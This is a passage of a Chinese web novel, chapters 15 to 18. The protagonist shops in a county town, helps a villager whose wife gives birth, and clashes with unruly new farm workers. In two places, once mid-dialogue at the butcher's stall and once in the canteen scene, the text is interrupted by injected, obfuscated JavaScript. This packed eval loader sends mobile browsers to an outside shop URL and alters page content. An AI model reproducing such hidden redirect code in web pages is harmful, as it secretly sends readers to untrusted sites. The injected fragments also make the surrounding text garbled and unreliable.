贺隽夏乘胜追击:“鸡蛋多少钱一板啊,米和肉贵吗?” 年轻保安腼腆道:“我没买过,我不太清楚,不过一板鸡蛋好像要四块。” 贺隽夏点点头又问道:“那请问社区里的兼职干一次能得多少钱啊?” 年轻保安:“有些一两块,有些几毛钱,还有些就只包两餐,没有钱拿。” 贺隽夏陆续又问了几个问题,年轻保安见他问的只是常规问题,渐渐放松了警惕,知无不言,言无不尽。 贺隽夏把水果糖递给他:“帅哥,真是麻烦你了,谢谢啊。” 年轻保安被塞了一把水果糖有些手足无措。 “不用不用。” 年轻保安耳根红得厉害,看起来很不好意思,似乎是第一次遇见这种情况。 贺隽夏不想像过年拿红包时和人推推拉拉,直接了当地水果糖塞进他的口袋,末了又拿出几颗分给几个小孩儿。 年轻保安感受着鼓起来的外套口袋更是不好意思。 自从各大超市、批发市场被政府管控,年轻人平时看都懒得看一眼的糖果就摇身一变,成了昂贵的奢侈品。除了不差钱或是心疼孩子的人家,少有人舍得花钱买这些零食。 而自己只不过回答了几个小问题,就得到一大把水果糖,总感觉在占人便宜。 贺隽夏看着年轻保安清澈的眼神,想了想,拜托道:“帅哥,你能帮我看一下车吗,我去菜市场买点东西。” 年轻保安如释重负:“行。” 他本来就是医院的保安,替人看一会儿三轮车不碍事,也能回报对方送的水果糖。 然而他刚点头答应,一片鲜艳的血色就映入眼帘,年轻保安不禁咽了咽口水。 他他他……他不会遇见命案现场了吧。 年轻保安的眼神再次警惕起来,贺隽夏顺着他的视线看去,无奈抚了抚额,直接把人拉进医院,让同行的几个士兵帮他解释。 年轻保安不好意思地挠挠头:“原来是这样啊。” 贺隽夏放心地走了。 * 贺隽夏根据保安小哥的提示找到肉铺,吊在架子上的一条大猪腿已经被割得不剩多少了。 贺隽夏看着贴在外面的价目表。 猪肉(带肥肉):4.0/kg 纯瘦肉:5.0/kg 五花肉:6.0/kg …… 本店为国营店,以上所有物品不赊账,不讲价,不打折。凡偷盗抢夺者,判除三十天以上劳动服役。遵纪守法,从你我做起。 贺隽夏的目光从上往下移,在最后一段话上停留了片刻,笑道:“你好,买两斤猪肉。” 躺在椅子上睡觉的工作人员不耐烦地睁开眼,起身打了个哈欠,有些生疏地拿刀割下一块猪肉,扔在摊前的机械表盘秤上。 不够秤。 她嫌弃地皱了皱鼻子,又割了一块,还是不够,一连割了好几次,才总算割够两斤。 就是可惜了好好一块肉被割得七零八落。 贺隽夏在心里吐槽了几句,面上却不显,笑着拿出十元新币递给工作人员。 没办法,现在能在国营店铺里工作的人,有一个算一个都是关系户。 贺隽夏问道:“有猪棒骨卖吗?” 工作人员掀起眼皮,好似才正眼看他,漫不经心道:“一块钱一斤。” 贺隽夏嘴角抽了抽。 他看着很像冤大头吗,一斤猪肉也才两块。 贺隽夏面露难色,用刻意压低音量却能让肉铺工作人员听见的声音道:“太贵了,还是算了吧。” 他提着东西转身就要走,工作人员见状小声招呼道:“哎,你等一下。” 贺隽夏停下脚步疑惑地转头。 工作人员有些不自地说:“我有一整根,两斤重,你要诚心买,我就给你便宜点,一块五。” 贺隽夏面露难色:“能不能再便宜点?” 工作人员不太高兴:“你又不是没钱,我都便宜这么多了,你还要再便宜。” 贺隽夏纠结:“剩下的钱还要买其他东西,不能动,不然我妈会骂我。” 妈宝男。 工作人员无语道:“最低价一块,要就要,不要就走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13739077|145034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “那好吧。” 贺隽夏递过去一块钱,工作人员把钱揣自己兜里,从店铺的犄角旮旯里取出一个装有猪棒骨的袋子。 “咚” 袋子落在秤上,刚好两斤重。 贺隽夏一改刚才的犹豫纠结,爽快地拿着东西走人,而工作人员脸上也露出了一丝笑容。 这根猪棒骨是员工福利,但他们家既不缺肉吃,也不爱喝汤,拿回去就是累赘,还不如卖了赚点钱。 只是骨头也不好卖。 本来就被剔得干干净净,一丝肉都没有,卖贵了没人买,卖便宜了自个儿又不乐意,能完成这笔生意她不亏。 贺隽夏也挺高兴。 虽然家里不缺吃的喝的,上班时还可以在农场的食堂里吃饭,但食堂的饭菜怎么说呢,没啥营养,肉少得可怜,无法补充长期高强度体力劳动对身体的消耗。 长此以往,不额外补充点营养,身体迟早会被熬坏,而猪骨头熬出来的汤就富含多种营养元素,算是一种不错的补品。 他从肉铺旁的巷子走进去来到菜市场。 村里不缺菜吃,家家户户的院子里、房子前都留着一小块菜地,想吃什么现摘现洗,还能和村里其他人换,比花钱买便宜多了。 因此贺隽夏没有看一眼蔬菜,径直来到卖鸡蛋的地方,四块钱一板,和保安小哥说的一样。 菜市场工作人员对待顾客的态度比肉铺的工作人员好多了,贺隽夏买了两板鸡蛋,又在不远处的国营包子铺买了些包子馒头,一共花去16元。 他提着东西回到医院,拿出一个馒头一个包子递给帮他看车的保安小哥,又让脸皮薄的小哥不好意思地红了脸。 贺隽夏也不在意,他把肉和鸡蛋放在车上,提着包子馒头走进医院,朝依然等在手术室前的几人道:“先来吃点东西吧。” 一路从贺家村跑到医院,还要使力气推车,不饿也饿了。 “小夏,这些东西多少钱,我补给你。” 经过半个多小时的等待,贺根已经冷静下来。洪芝芳是他婆娘,别人是好心来帮忙的,哪有让帮忙的人掏钱买东西吃的道理。 贺隽夏按住贺根掏兜的动作:“你和我客气什么,咱俩谁跟谁,你要实在过意不去,等孩子办满月酒的时候请我好好吃一顿。” 贺根和“贺隽夏”的关系就相当于贺隽秋和贺灵,两个人还在穿开裆裤的时候就一起玩了,长大后各奔东西也没怎么生疏。 贺根感动地吸了吸鼻子:“谢了,兄弟,到时候让孩子认你当干爹。” 贺隽夏轻轻拍了拍他肩膀,给每个人发了两个馒头,一个肉包。大家都饿了也没推拒,狼吞虎咽地吃了起来。 贺隽夏回到医院门口继续守着三轮车,出去时恰好看见保安小哥坐在台阶上和几个孩子一起分吃包子馒头,吃得香极了。 贺隽夏看着几个餍足地舔舐嘴角的孩子,不禁想起手术室里正在渡生死关的洪芝芳,微微叹了口气,只希望母子平安。 16.第 16 章 大约又过去了半个多小时,一群行色匆匆、满目担忧焦躁的人出现在医院门前。 为首的中年妇女看见贺隽夏,立刻上前哀求道:“小夏,我女儿怎么样了。” 看着她眼里的期盼,贺隽夏不忍地偏过头:“嫂子还在手术室里没出来。” 女人身体一软,像是失了全身力气般猛地往后倒去,发红的眼眶霎时间流出大颗泪水,流失了干燥的水泥地。 “芝芳啊,我的芝芳,你命怎么这么苦啊。” 女人的声音里充满了痛苦,让过路来往的行人不禁默默加快脚步,不忍看不忍听。 保安小哥听见动静站在一旁张了张嘴想要安慰,又不知道说什么话来安慰,似乎任何一句话都是那么苍白无力。 贺隽夏连忙上前扶住女人:“孙婶,咱们要相信医院,现在没有消息就是最好的消息,嫂子一定会平安无事。” 孙梅的眼睛迸发出一道名为希望的光,她抓着 贺隽夏的手,仿佛抓住了最后一根救命稻草,嘴里喃喃自语道:“没有消息就是最好的消息,没有消息就是最好的消息……” 贺隽夏抬头看向另一个慌神无措的男生:“洪磊山,过来和我一起把你妈扶起来,咱们去手术室外面等着。” 男生终于回过神来,吸了吸鼻子,发出带有一声浓重后鼻音的嗯字,一张青春稚嫩的脸庞突然成熟了许多。 他也才读高三,只比贺隽秋大一岁。 两人合力想要将孙梅扶起,这个早年丧夫,独自一人将两个孩子抚养长大的女人却挥开他们的手,自己撑着地面慢慢地爬了起来。 她步履蹒跚地走进医院,背影消瘦而坚定,就像一名奔赴战场的士兵。 洪磊山快步跟上,贺隽夏却愣在了原地。 他想到了他的父母。那个控制欲很强却愿意在他面前退让,为他付出全部关爱的母亲。那个总是不苟言笑,张口闭口讲大道理却永远像大山一样护在他身前的父亲。 他们得知他的死讯时该有多么难过绝望。 他后悔了。 他不应该在有人拿着刀闯进诊疗室的时候强出头,置自己的安全于不顾,让父母大半辈子的心血付诸东流,给他们带去永久难忘的痛苦。 这一刻贺隽夏无比希望自己从未存在。 没有前二十年的欢声笑语,就不会有后来的追星刺骨。 两行热泪从他的眼眶中滚落,与地上还未干涸的泪水融为一体汇聚成小小的水洼。水洼折射出刺眼的光线,光线刺入他的眼睛,在眼睛里翻天倒海,让溢出来的眼泪怎么也流不干流不尽。 保安小哥更加手足无措。 他小心翼翼道:“那个兄弟,天下没有过不去的坎,活着……活着就有希望。” 贺隽夏仰头抹去脸上的泪水,看着广阔无垠的湛蓝天空,语气坚定道:“你说得对,活着就有希望。” 至少此时此刻他和他的父母都生活在蓝天下。 …… 幸运女神眷顾了医院,眷顾了两个家庭。 不知又过去多久,手术室里响起婴儿微弱的啼哭声,手术室里的医护人员喜笑颜开,伟大的母亲脸上露出放松喜悦的微笑。 因为医院的各种高精密仪器已经失效,所以出手术室后,洪芝芳母子就被送回了病房。 贺隽夏走凑上前看了一眼,小婴儿的脸皱皱巴巴,头上的胎毛稀稀疏疏,一点也不像可爱的人类幼崽,倒像只小猴子,健康的小猴子。 当然,这句话他是万万不敢说出来的。 一大群人没待多久就被管床的护士“请”出了病房。贺根、洪磊山和孙梅可以留下来洪芝芳照顾母子,贺隽夏和几名军人就必须要走了。 他们一没身份证,二没介绍信,没有酒店民宿敢接收他们,被抓到就是三十天劳动改造。再说他们留下来也帮不上忙,没这个必要。 贺隽夏把兜里剩下的19块塞给贺根,想了想,又留下了一斤猪肉、一板鸡蛋和一根猪骨。虽然医院也出售饭菜,但那些饭菜价钱不便宜,营养也不能满足刚刚生产的人。 贺根感动得说不出话来。 这辈子能有这么一个好兄弟,真是值了。 贺隽夏拍拍他肩膀提醒道:“等会就借医院的厨房把猪肉和猪骨头煮了,煮出来的汤记得给医院的工作人员分一分。” 贺根愣了一下。 孙梅看见他木愣愣的样子气不打一处来,都是玩到一起的朋友,怎么人贺隽夏就会做事。她全然忘记了当初就是看贺根老实巴交,三棍子打不出一个屁才放心把女儿嫁给他。 孙梅笑道:“小夏,几位军人同志,这次真的是太谢谢你们了。如果不是你们帮忙,真不知道会怎样。等我女儿出院了,我们一定上门好好感谢你们。” 她转头瞪了贺根一眼:“你去送送小夏他们。” 贺隽夏摆手:“不用了不用了。” 他和几位军人同志快步离开医院,院门口保安小哥还替他守着三轮车,一直没有离开。 贺隽夏快步上前道谢,保安小哥腼腆地笑了笑:“没事儿,人安全了就行。” 贺隽夏骑车和四名军人离开医院。此时天已经暗了下来,路上行人极少,就几家收归政府的国营店铺还在营业。 不过事发突然,几个人身上也没什么钱,就没在县里逗留,加快速度赶回贺家村。 微凉的晚风呼呼呜咽,路边的树叶沙沙作响,两段声音交织纠缠,在夜色的衬托下恍若鬼哭狼嚎,显出格外阴森之感。 贺隽夏心里毛毛的。 他看着身旁四个身着军装,身姿挺拔如白杨树的军人,内心的害怕渐渐减少,主动挑起了话头。 几个人都是差不多年纪的小伙子,没什么代沟,互相对对方的感官也非常不错,很快就打开了话匣子,热热闹闹地说了一路。 一人朝贺隽夏竖起大拇指:“你这个人做兄弟没话说。” 都说患难见真情,贺隽夏的行为被他们全看在眼里,几人是实打实地佩服他。就像贺根说的那样,这辈子能有这么一个兄弟,值了。 贺隽夏笑笑。 他之所以那么认真地帮贺根,不仅是因为要保持人设,也不仅是因为受到记忆的影响。 他想给贺家人多留一些遗泽。 贺成材、曾秀平和贺隽秋都是很好的人。哪怕他们相处的时间还不到一个月,他也能清晰感受到他们对他的爱。 他希望他走以后能有人替他照看他们。 …… 经过几十分钟的步行,五人终于在天彻底黑下来之前回到贺家村。 “小夏,怎么样,芝芳没事吧?” 贺隽夏惊讶地看着等在村口的三个人,心间有一股暖流涌动,他有些干涩地开口道:“晚上冷,你们在家里等着就好,怎么还来村口守着。” 贺隽秋晃了晃手里的狗绳:“反正现在也没手机玩,我们出来消食遛狗,芝芳嫂子怎么样了?” 贺隽夏笑道:“母子平安,就是要在医院多住几天。” 曾秀平长舒一口气:“没事就好,没事就好,下午那阵仗给我们都吓坏了。” 她热情招呼道:“你们都还没吃饭吧,食堂已经关门了,咱家留了饭菜,都来一起吃。” 几名军人:“不了不了,婶子,我们要回对队里报道。” 这年头粮食就是宝贵东西,爱串门玩的小孩都被耳提面命地教育不能在别人家里吃饭 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贺安全咽口水:“我,我不饿。” 贺隽夏伸手摸了摸他的脑袋,温和地笑道:“哥哥知道你不饿,但是哥哥吃不完,麻烦你帮哥哥分担一下。” 贺安全信以为真,高兴地接过碗筷:“谢谢小夏哥哥,我也吃不完,我和奶奶一起吃。” 没等贺隽夏说话,他就高兴地跑走了。 贺隽夏扶了扶额。 果然,没过一会儿,陈婆婆就牵着贺安全的手走过来,那碗饭他们一口都没动。 贺安全举起碗:“小夏哥哥,我和奶奶不饿,你们吃吧。” 陈婆婆:“他吃饱了,就是嘴巴馋,不能惯着他。” 贺隽夏无奈:“陈婆婆,你看小夏那么瘦,不饿也吃点宵夜,多长长身体。” “咱们都是贺家村的人,论关系我就是他哥,惯就惯了。而且孩子想吃某个东西,不一定是嘴巴馋,可能是身体缺少某种元素,让大脑想吃东西。” “我同事他儿子一直闹着要吃排骨,怎么吃都吃不够,去医院一查才知道是缺少了营养元素。” 陈婆婆被贺隽夏的话说懵了。 她低头看着自家小孙子瘦瘦小小的身体,不由得担心是不是孙子也缺了某种营养元素。 她叹气道:“既然是哥哥给你的,你就吃吧,要说谢谢哥哥。” 贺安全咧开笑:“谢谢哥哥。” 他坐在台阶上大口大口地吃饭,吃得又快又急。不过贺隽夏只看了一眼就收回了目光,也没说啥,而是转移话题,问陈巧怎么搬进保卫科,是不是出什么事了。 陈巧:“哪能有什么事儿就是,县里给农场分了五十个小伙子大姑娘过来,说让他们留在农场里干活儿。” “村里没那么地方给他们住,我就把房子腾了出来给他们当宿舍,领导说算咱们农场租的,每个月给房租。” 贺隽夏点点头。 没想到县里分了五十个人过来,看来村里有些人换岗位的心思要落空了。 陈婆婆小心提醒道:“他们好像是政府干部和有钱人的子女,家里有关系,你以后和他们打交道要注意点。” 贺隽夏:“嗯,我知道了。” 他吃完饭回家,曾秀平也说了这件事,言语间不乏对这些人的担忧紧张。 贺隽夏安抚道:“没事,他们要的是养殖岗,和咱们没关系。再说,要是家里真有关系早留在城里郊区的新农场了,哪会来贺家村。” “当平常人看待就行,处得好就处,处不来拉倒,他们要是敢闹事,负责人也不会同意。” 17.第 17 章 贺隽夏没想到在他说完这句话的第二天,贺家村的人就和新人发生了冲突,差点动了手。 事情还要从农场负责人的决定说起——他并没有给县里来的新人分配养殖场的岗位,而是将他们全部发配去开荒。 当然,不是针对他们,贺家村的村民和保卫科的军人都得去山上开荒,无人例外。 五十个新人被平均地分到每个生产小组,大部分人即使心里不乐意,明面上还是会装装样子,至少第一天得糊弄过去。 但闹出事的两个新人是对奇葩。 昨天已经吴队长明确提醒过,今天要来山上干活儿,让他们穿得休闲宽松一点,最好穿旧衣服,不怕被弄脏洗坏。 结果女的一身浅黄色长裙配一双黑色小皮鞋,项链耳环齐全,浑身打扮无一不精致,还画了个漂亮的妆。男的一头红发,一身嘻哈装扮,脚上一双白球鞋。 他们不像干活的,倒像是来秋游的人。 这就算了。 每个人的生活方式和生活理念不同,只要能把活干完,大家不会没事找事地指责他们,顶多说几句城里人就是爱美。 可是他们借口肚子不舒服直接迟到了快一个多小时,而且慢悠悠地走到开荒的山脚下后就停下来说说笑笑,完全没有要上去干活的意思。 两人一身盛装打扮,一点也看不出肚子不舒服的模样。 男生和女生所属小组的两位组长只好叫他们的名字,让他们快点上山,两人瞥了一眼全当没听见。 山上的人都被他们的操作整懵了。 这是想干什么? 曾秀平和另一位组长贺强民只好下去叫人,两人臭着脸磨磨蹭蹭地上了山就开始发脾气,一会儿说山上有蚊子咬得疼,一会儿说白鞋子被弄脏了要纸擦,一会说嘴干了要喝水。 曾秀平:…… 贺强民:…… 他们互相看了看,没多说什么,各自回到自己的队伍中去,全当两人不存在。 而被他们当成空气的两个人就像斗胜了的公鸡,得意洋洋地站在山道上,毫不掩饰地高谈阔论,眼睛里声音里都是明晃晃的嫌弃。 是对泥土的嫌弃,也是对其他人的嫌弃。 这时众人心里已经很不爽了。也就是记着村长贺强国的嘱咐,才没说什么指桑骂槐、阴阳怪气的话。 反正新人得通过考核才能留下,以他们两个的表现,过不了几天就会被赶出贺家村。 没曾想他们忍气吞声,另外两个人却得寸进尺。 不知道是觉得无聊还是想多拉几个人下水,两人竟然光明正大地叫自己的朋友放下锄头,过来和他们去山下的小河里玩。 “哎呀,怕什么,我们是县里分过来的人,难不成你们真喜欢在地里干活啊。” “丽丽,我来的时候看见那里有小瀑布,我们一起去啊。” 一个男生飞快地放下锄头跑到两人身旁,更加滋长了两人嚣张的气焰。 许丽犹豫了好一会,还是磨磨蹭蹭地要走过去。曾秀平一把拉住她的手,眉头紧皱道:“你们要走就走,不要影响别人。” 女生不屑地哼了一声,翻了个白眼直接命令道:“许丽,过来。” 男生毫不客气地回道:“关你屁事,死老太婆。” 众人顿时怒了。 贺隽秋最先骂:“细狗,你叫什么叫,要吃屎就去厕所里吃,别在这里吠。” 男生被骂得脸色涨红,一双眼睛冒出火光:“贱人,你别以为我不打女的,你算什么东西,老子和你说话了吗?” 贺隽秋不屑道:“不用提醒,知道你贱,你全家都贱,你祖宗十八代是贱中之贱,才会生出来你这么一个听不懂人话的贱种。” 论起骂人,贺隽秋可不怕别人。 作为从小在村里长大的孩子,她不知听过多少场骂架。有些脏话说出来都污人耳朵,她随随便便扯几句勉强能听的话,都能骂得对方祖宗十八代气到想活过来抽不孝子几巴掌。 至于动手问题? 笑话,周围都是她的叔伯婶子、哥哥姐姐,还能看她被外面的人欺负。 事实也的确如此。 当男生冲上前想对贺隽秋动手时,几个力气大的中年妇女立刻挡在贺隽秋身前。 曾秀平生气:“你要干什么!” 男生:“老子打的就是她。” 然而他还没来得及伸出手就被人扯住衣领,像个破布袋子一样丢到一边。 贺隽夏冷着脸:“你动手试试。” 他的身旁是闻讯赶来的贺家村人,无论男女老少,个个手里都举着锄头,眼神不善。 其他安安分分的新人都惊呆了。 在他们眼里老实木讷的农村人一瞬间变成了洪水猛兽,可想而知,张建弼要是再嚣张下去,贺家村的人绝对不会让他完好无损地离开。 这就是宗族村的力量。 一开始想打个哈哈糊弄过去的贺强国已经冷下脸,他严肃道:“农场是工作的地方,不是玩的地方,既然你们喜欢玩,就回县里好好玩,不要占着茅坑不拉屎。” 男生明显不服气,但形势比人强,他爬起来,表情恨恨地没说话。 从另一个山头匆匆赶来的保卫科开荒队大队长连忙劝说道:“大家有事好好说,不要吵,不要打架,这里是农场,注意形象。” 贺强国让围拢的贺家村人散开。 他将刚才发生的事原原本本地告诉吴队长,十分无奈道:“吴队长,不是我们不服从农场的分配,实在是没能力,管不住,你还是把他们几个转去保卫科的开荒队吧?” 吴队长脸上带笑,心里直骂人,谁想要老鼠屎来坏自家的粥。 他转头看向几个新人,笑得还算温和:“要玩就玩去吧,今天好好玩。” 毕竟过了今天就没明天了。 吴队长对贺家村农场的负责人,自己的顶头上司非常了解,他绝对不可能让几个刺头留在贺家村。 男生在吴队长的帮助下离开贺家村人的围堵,又见他站在自己这一边,淡下去的嚣张气焰渐渐长了回来。 女生脸上的惨白消退,她盯着站在众人身后的许丽,再次命令道:“许丽,过来。” 霎时间,所有人都看向许丽,等待她出回答。 许丽左看看右看看,在众人或期待或紧张或疑惑的目光中,犹犹豫豫地走到女生身旁,选择了自己的立场。 女生高傲地扬起脖子,挽着男生的手:“走吧。” 四个人快速下山,走到山脚时,男生突然回头:“切,一群乡巴佬算个屁,我们是县里分来的人,有本事就把我们赶出去啊。” 贺隽夏:…… 吴队长:…… 贺家村人:…… 贺强国怜悯地看了吴队长一眼,诚恳道:“就算咱们农场缺人,也不能什么人都要啊。” 吴队长面色铁青:“你放心,等负责人从县里回来,我会第一时间向他报告。” 贺强国微笑:“辛苦你了。” 不辛苦,命苦。 吴队长勉强一笑。 …… 中午 食堂早就做好了饭菜,只能下工的人来吃。 谁料最先来食堂的不是农场的工人,而是四个游手好闲的年轻人。 村里八卦的传播速度比长了翅膀的鸟还快,食堂的大爷大妈们早在给自家人送水的老头老太嘴里得知了上午发生的事。他们都是何家村的村民,自然对四个人没有好脸色。 四个人领着餐盘来打菜,嘴里不停对对食堂的菜色挑挑拣拣。 负责打菜的大妈掀起眼皮:“一份五毛。” 为首的男生和女生对她的态度非常不满,女生斜看了许丽一眼,许丽怯怯道:“阿姨,吴队长不是说我们可以先吃食堂,等发工资的时候再扣钱吗?” 食堂大妈白眼:“你没干活哪来的工资。” 许丽脸色一白。 本就憋了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13759141|145034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肚子气的男生又要发火,下工的人却陆续走进了食堂。 女生连忙把男生劝阻,她从兜里甩出十块钱道:“要四份。” 大妈接过钱还直念叨他们赚了,农场里的一份饭包含一荤一素一汤一碗米饭,放在县里至少卖两块。 今天的菜是青椒炒鸡蛋,清炒白菜,紫菜汤。 食堂大妈拿起打菜的勺子不停地抖抖抖,抖得差不多了才心满意足地把菜扣在铁质餐盘上。 青椒炒鸡蛋,只剩下少得可怜的鸡蛋,清炒白菜全是白菜帮子,米饭也不多,比正常量少了四分之一。而轮到其他人时,大妈们毫不手软,一舀一大勺。 男生气得摔了盘子。 他怒道:“你就是在针对我们。” 愤怒的男生没发现其他人看他的眼神都变了,吴队长盯着地上不能吃的饭菜,眼里染上了熊熊火光。 偏偏男生还让他来做主。 他说:“吴队长,你看她,就是故意针对我们,只给我们打这么点菜?” 食堂大妈可不怵他。 “正好,吴队长,你来评评理,咱们食堂的规矩是不是首先要保证干活的人吃饱?” “像那些员工家属来食堂买饭吃,我们都会减少分量,这也是上头规定的啊。” 当然,他们不会给员工家属打那么少。 吴队长点点头,他看向男生,眼神如鹰隼,没了上午硬撑的和善。 “食堂不需要浪费粮食的人,你嫌少就去县里买,慢走不送。” 男生面子挂不住,怒气冲冲地走了。女生反应过来,把手里的餐盘递给许丽,很快就追了上去,食堂里的人还能听见她贬低食堂,安抚男生的声音。 而他们两个的小跟班尴尬地站在原地,男的手足无措,女的恨不得把自己埋进地里。 许丽端着两份饭默默找位置坐下吃饭。 她上午干了一个多小时的活,后面又要陪柳珍珍到处闲逛,肚子早就饿了。 卓有犹豫了一会,把餐盘放在许丽附近,马不停蹄地追了上去,看得贺家村人咂舌。 还真是少爷小姐来乡下了。 今天发生的事瞬间成了贺家村的新谈资,另外46个新人也暗自称奇。 他们想不通张建弼和柳珍珍怎么有这么大的胆子,公然挑衅农场的规矩。还有许丽和卓有,他们两个怎么这么听窦超和柳珍珍的话。 没看带他们来贺家村的吴队长脸都气青了。 难道他们背后关系很硬? 不对呀,要是关系真的很硬怎么会来何家村,为什么不在城里的农场找个工作。 众人百思不得其解,但都无比默契地远离了四人。 正常人不跟傻子玩。 * 夜里 204宿舍 一个沉睡的女生突然发出痛苦的呜咽,嘴里说着听不清的梦话,却能让人感受到她的绝望。 寝室里的另外三人被吵醒,王甜和乐山水面面相觑不知如何是好,柳珍珍却好似全然没注意到许丽的不对劲,不耐烦道:“许丽,你干什么,还睡不睡了。” 许丽被柳珍珍的声音叫醒。 她睁开眼缓了好一会儿才适应黑暗,王甜紧张问道:“许丽,你没事吧?” 许丽茫然地看着她:“我在哪?” 王甜甜紧张道:“我们在贺家村的员工宿舍,你忘了吗?” 许丽摸了摸自己的手,摸了摸自己的脸,又摸了摸身下的硬床板,沉默了许久,直到有人用火柴点燃蜡烛。 她透过摇曳不定的烛火看向对床的人,那个害了她一生的人——柳珍珍。 柳珍珍皱眉:“你看我干什么,吵得我都睡不着了。” 许丽握紧了手。 她露出一个勉强的微笑:“不好意思,吵到你们了,我做了一个噩梦。” 王甜看她脸色苍白安慰道:“别怕,梦都是假的。” 许丽:“对,梦都是假的。 ” 18.第 18 章 第二天的发展再次出乎众人意料。 晨光熹微,朝露欲滴,太阳刚刚从东边的地平线上探出头,许丽就已跟着大部队来到山上。 她是想清楚了? 村民们的视线隐晦地扫过许丽,默契地没有多说什么,交谈着家里的大事小事,仿佛昨天与几个新人的争执并不存在。 王甜疑惑地看着跟在自己身后的许丽,她指了指隔壁的隔壁:“你们组在那里。” 许丽顺着她手指的方向看去,不好意思地笑了笑,抬脚正要走过去,王甜却又拉住她的衣袖。 她小声道:“你记得先给你们组长认真道个歉。” 许丽愣了愣。 上一世她待在贺家村的时间只有短短两天。第一天下午来,第三天中午就被连人带东西送回了县城。 她脑海里关于贺家村的记忆早已随着时间的流逝而模糊不清,只隐约记得自己在柳珍珍的胁迫下支持她,和她站在同一立场,最后被农场赶走。 难道她还和组长发生了矛盾? 许丽心头一紧,脸色霎时变得惨白,身体不自觉地颤抖,似乎遇见了某种极为恐怖的事情。 不,不,她不能被赶出去。 王甜见她表情不对,连忙补充道:“你别怕,我听乐山水说你们组的组长人很好,昨天那件事本来就是柳珍珍和张建粥闹出来的,你认真道歉,她应该不会为难你。” 许丽捂了捂脑袋:“甜甜,我昨天晚上做了个很恐怖的噩梦。脑袋有些不舒服你能跟我说一下昨天发生了什么事吗? ” 王甜有点奇怪。 昨天才发生的事情,今天就忘了? 不过想到许丽昨天晚上的梦魇,她还是好心地将事情简单地说了一遍。许丽不像柳珍珍那样娇蛮跋扈,甚至脾气好到就像没脾气,作为室友,她还挺希望对方留下来。 “谢谢你,甜甜。” 许丽吸了吸鼻子,朝王甜深深鞠了一躬,把她吓得不轻。 王甜惊讶地摆摆手:“都是小事儿。” 许丽惦记脚尖张望:“我好像没看见我们组长,她是不是还没来啊?” 王甜定眼看了看,指着一个面容朴实的中年妇女道:“她在那。” 许丽记住中年妇女的面容,又向王甜说了声谢谢,才快步走过去。 “组长,对不起,昨天的事是我错了,我想留下来和大家一起干活,可以吗?” 正在分发农具的曾秀平转过头,听见声音的其他人也好奇地看过来。 女孩唇色很白,眼眶红彤彤的,声音还带着颤,一双红眼睛乞求地望着她。 曾秀平问:“你决定好了吗?” 许丽急切地说:“组长,我决定好了,我一定会认真干活不偷懒。” 曾秀平取出一把锄头递给她:“你昨天缺的工时工,我会记在出勤表上,到时候从你工资上扣。” 许丽无比感激道:“谢谢组长。” 她本来以为自己昨天做了公然挑衅组长权威的事后来道歉,很难再得到组长的原谅,没想到曾秀平这么轻易就接纳了她。 事实上,就算是柳珍珍来道歉,曾秀平也会原谅对方。 她都快五十了,看这些年轻姑娘跟看自家孩子一样,没把昨天的事放在心上。只要对方是真心来道歉,她都不会过多计较。 当然,张建粥除外。 任何一位母亲都不会给试图对自己孩子动手的人好脸色看。曾秀平恨不得立刻马上把张建粥赶出贺家村,不然那小子怀恨在心,找机会偷偷欺负她姑娘咋办。 于是等贺隽夏忙完自己的活,提着锄头过来帮忙时,就看见许丽干活干得非常卖力,一张脸通红,脸上额头布满豆大的汗水,额前的头发吸满汗水,一缕一缕地贴在皮肤上。 贺隽夏微微挑眉,朝代替曾秀平干活的贺隽秋使了个眼色。 咋回事? 贺隽秋眨眨眼睛表示这里不方便说,她把锄头还给曾秀平,提着大水壶和贺隽夏来到不远处的树荫下休息。 她小声道:“她今天早上来找妈道歉,说想留下来继续干活,妈同意了。” 贺隽夏仰头喝了一大口水,没有深究许丽突然转变心思的原因。昨天主要闹事的人是张建粥和柳珍珍,他对许丽没什么恶感,顶多就是怒其不争。 贺隽夏和曾秀平的想法差不多,柳珍珍和卓有留下都没关系,但必须把张建粥赶出贺家村。 那小子一看就不是会善罢甘休、突然悔悟的人,让他留在贺家村,就是亲手给贺家村安上一颗不定时炸弹,谁也不知道什么时候会爆炸。 …… 中午 辛苦了一早上的人们陆陆续续地收工,和许丽同一组的新人开始对她释放善意,几个人说说笑笑地来到食堂。 这回食堂阿姨没有区别对待,每个菜都打了满满一勺,笑着嘱咐几个身材纤瘦的姑娘多吃点儿,吃饱了身体好才有力气干活。 几人笑着应声,端起餐盘找位置坐下,还没等她们吃几口,许丽猛地站了起来,突然急速跳动的心脏好似要冲出胸腔。 她紧张道:“组,组长,你找我有事吗?” 许丽不停地吞咽唾沫,生怕从曾秀平嘴里听见自己不想听见的话。她记得上一世自己就是在中午被赶出了贺家村。 曾秀平笑道:“咱们去找吴队长说点事。” 好事啊。 最先反应过来的乐山水扯了扯许丽的衣角:“快去快去,别耽搁了。” 许丽:“嗯。” 贺隽夏看着曾秀平把人带走,没过一会儿,她们又高高兴兴地走回来,脸上带着笑。 看来是稳了。 贺隽夏埋头吃饭,不再关注这件事,没想到饭快吃完时,食堂里又闹出一场“好戏”。 柳珍珍、张建粥、卓有怒气冲冲地冲进食堂,柳珍珍指着许丽的鼻子质问道:“许丽,你什么意思,竟然背叛我?” 